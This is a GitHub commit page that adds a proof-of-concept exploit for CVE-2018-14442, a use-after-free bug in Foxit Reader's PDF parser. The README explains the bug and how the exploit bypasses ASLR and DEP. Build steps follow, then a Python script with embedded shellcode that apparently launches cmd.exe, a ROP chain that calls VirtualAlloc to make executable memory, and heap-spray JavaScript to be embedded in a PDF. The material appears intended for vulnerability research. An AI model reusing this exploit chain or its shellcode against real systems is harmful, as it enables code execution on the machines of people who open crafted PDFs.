-
Notifications
You must be signed in to change notification settings - Fork 21
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
Adding PoC and scripts with updated README
- Loading branch information
Showing
8 changed files
with
963 additions
and
2 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -1,2 +1,60 @@ | ||
# CVE-2018-14442 | ||
PoC for CVE-2018-14442 | ||
### Foxit Reader CPDF_Parser::m_pCryptoHandler Use After Free | ||
|
||
1. [PDF Format Background](#pdf-format-background) | ||
2. [Encryption Dictionaries](#encryption-dictionaries) | ||
3. [Vulnerability Details](#vulnerability-details) | ||
4. [ASLR and DEP Bypass](#aslr-and-dep-bypass) | ||
5. [Environment Details](#environment-details) | ||
6. [Trigger](#trigger) | ||
7. [Author](#author) | ||
|
||
|
||
#### PDF Format Background | ||
PDF is a file format used to represent documents. A pdf is made of multiple data objects | ||
|
||
* Simple Primitive Objects | ||
Integer, Number, Boolean, Null | ||
|
||
* Complex Objects | ||
|
||
| Format| Name| | ||
|-------|----------------| | ||
|[.*] | Array| | ||
|(.*) | String| | ||
|<<.*>> | Dictionary| | ||
|<.*> | Hex String| | ||
|/.* | Name| | ||
|stream.*endstream|Stream| | ||
|
||
These objects define how a pdf looks and what it contains. Structures in pdf are present in 2 types of objects - Direct and Indirect. An indirect object start with Object number and Generation number followed by the actual object. Indirect Objects can be directly referenced in other objects as "<n> <m> R" where n and m are object and generation numbers respectively. | ||
Dictionary objects are basic building blocks for the document. There are some general dictionary objects which are needed to form of page or the document itself. Most important is the `Root` dictionary which defines links to all other `Pages`, `Metadata`, `Names` etc. each of which can be some other object. | ||
Stream objects contain the most binary data such as fonts, pictures or compressed/encrypted data. | ||
|
||
|
||
#### Encryption Dictionaries | ||
A PDF document can be encrypted to protect its contents from unauthorized access. Encryption | ||
applies to all strings and streams in the document's PDF file, with some exceptions such as the `Encrypt` dictionary itself. Encryption mostly applies to stream objects. Encryption is not applied to other object types such as integers and boolean values, which are used primarily to convey information about the document's structure rather than its contents. | ||
Encryption-related information shall be stored in a document’s encryption dictionary, which shall be the value of the "Encrypt" entry in the document’s trailer dictionary. | ||
|
||
|
||
#### Vulnerability Details | ||
`CPDF_Parser::StartParse` sets `m_pCryptoHandler` for indirect objects of a pdf which are encrypted. `m_pCryptoHandler` should be nulled out when `CPDF_Parser::ReleaseEncryptHandler` is completed. Instead `CPDF_Parser::ReleaseEncryptHandler` does not remove the reference to CryptoHandler in `CPDF_Parser` and is dangling. | ||
Later when the parser starts to parse the objects referenced in the Root dictionary, `m_pCryptoHandler+8` is called to decrypt the data. | ||
A similar bug was patched in pdfium in commit 741c362fb75fd8acd2ed2059c6e3e716a63a7ac8. See <https://bugs.chromium.org/p/chromium/issues/detail?id=726503> | ||
|
||
|
||
#### ASLR and DEP Bypass | ||
PDFs allow embedding JS in the document which can be executed automatically if entered in `OpenAction` of `Catalog` type dictionary. Once we have JS execution we can spray objects in the process space so that we get to a predictable address where we'll write our ROP chain. | ||
When a PDF document is signed in Foxit Reader, it uses `plugins\jrsys\x86\jrsysMSCryptoDll.dll` from the installation directory to read the signed information which loads jrsysCryptoDll.dll on a static address of 0x10000000. This dll imports VirtualAlloc which makes it easier to execute payload. The attached exploit uses heap spraying to get a predictable memory layout and uses a rop chain for allocating an RWX page, copying and executing the payload. | ||
|
||
|
||
#### Environment Details | ||
This exploit was tested using Foxit Reader 9.0.1.1049 x86 running on MS Windows 7 Enterprise Build 7601 SP1 x86. The exploit requires the heap to be in a specific state, if the exploit fails, please try again. Please refer to the [video demo](https://www.youtube.com/watch?v=7LGOM62Ur4M). This vulnerability is also present in Foxit PDF Reader and Converter for Android too. | ||
|
||
|
||
#### Trigger | ||
bitcoins.pdf is the crafted pdf that does the re-allocation of the freed memory and triggers the core bug. If you want to reproduce the crash in debugger, please enable Page Heaps for FoxitReader.exe and open [bitcoins.pdf](bitcoins.pdf). | ||
|
||
|
||
#### Author | ||
This crash was found by Cloudfuzz - A fuzzing platform developed at [Payatu](https://payatu.com/). Further analysis and exploitation was done by [Sudhakar](https://twitter.com/_sudhackar) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,15 @@ | ||
We use a small pdf generator from [Didier Stevens](https://blog.didierstevens.com/programs/pdf-tools/) | ||
|
||
To generate the exploit: | ||
|
||
1. Generate a js payload using generate-js.py | ||
```sh | ||
$ python generate-js.py > test.js | ||
``` | ||
|
||
2. Use make-pdf-javascript to generate a pdf with that JS embedded | ||
```sh | ||
$ python make-pdf-javascript.py -f test.js test.pdf | ||
``` | ||
|
||
3. Open the pdf in Foxit and attach bitcoins.pdf and then use "Sign" feature in "Protect" to sign the pdf. |
Binary file not shown.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,54 @@ | ||
import struct, sys | ||
|
||
def p32(v): | ||
return struct.pack('<I', v) | ||
|
||
if len(sys.argv) > 1: | ||
payload = open(sys.argv[1],"rb").read() | ||
else: | ||
payload = "\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf2\x52\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11\x78\xe3\x48\x01\xd1\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03\x7d\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f\x5f\x5a\x8b\x12\xeb\x8d\x5d\x6a\x01\x8d\x85\xb2\x00\x00\x00\x50\x68\x31\x8b\x6f\x87\xff\xd5\xbb\xe0\x1d\x2a\x0a\x68\xa6\x95\xbd\x9d\xff\xd5\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x53\xff\xd5\x63\x6d\x64\x2e\x65\x78\x65\x00" | ||
|
||
sc = "\x90"*128 + payload | ||
sc += "\x90"*(1020-len(sc)) | ||
assert len(sc) == 1020 | ||
rop = "" | ||
rop += p32(0x10095ded)# 0x10095ded : pop eax ; pop ebp ; ret | ||
rop += p32(0x10097134)# 0x10097134 : ptr[VirtualAlloc] | ||
rop += p32(0x1000786f)# 0x1000786f : xchg eax, esp ; ret | ||
rop += p32(0x1002fa4c)# 0x1002fa4c : jmp dword ptr [eax] | ||
rop += p32(0x10091d6b)# 0x10091d67 : pop ebp ; pop ebx ; pop ecx ; pop ecx ; ret | ||
rop += p32(0x00000000)# lpAddress | ||
rop += p32(0x00001000)# dwSize | ||
rop += p32(0x00001000)# flAllocationType | ||
rop += p32(0x00000040)# flProtect PAGE_EXECUTE_READWRITE 0x40 | ||
rop += p32(0x100025ad)# 0x100025ad : pop esi ; ret | ||
rop += p32(0x288080f0) | ||
rop += p32(0x1000100e)# 0x1000100e : pop ecx ; ret | ||
rop += p32(0x00000100)# len(sc)/4 | ||
rop += p32(0x1008078f)# 0x1008078f : mov edi, eax ; rep movsd dword ptr es:[edi], dword ptr [esi] ; pop edi ; pop esi ; ret | ||
rop += p32(0x100079d9)# 0x100079d9 : call eax | ||
rop += p32(0x100079d9)# 0x100079d9 : call eax | ||
|
||
def escape(addr): | ||
return "%%u%s%%u%s" % ((addr[1]+addr[0]).encode("hex"),(addr[3]+addr[2]).encode("hex")) | ||
|
||
def escape_str(sc): | ||
return "".join(map(escape,[sc[i:i+4] for i in xrange(0,len(sc),4)])) | ||
|
||
js = '''var shellcode = unescape("%s%s"); | ||
var spray = unescape("%s"); | ||
var sl = shellcode.length; | ||
var sp = spray.length; | ||
spray = spray+shellcode; | ||
do { | ||
spray += spray.substring(0,sp); | ||
} while(spray.length < 0xd0000); | ||
spray = spray.substring(0, 0xd0000); | ||
memory = new Array(); | ||
for(i = 0; i < 0x1000; i++) { | ||
var tmp = spray; | ||
memory[i] = tmp.substring(0, i * 0x100)+String.fromCharCode(i%%0x100); | ||
} | ||
var x = this.dataObjects[0].name; | ||
this.exportDataObject({cName: x, nLaunch: 2});''' % (escape(p32(0x100079d9)), escape_str(sc), escape_str(rop)) | ||
print js |
Oops, something went wrong.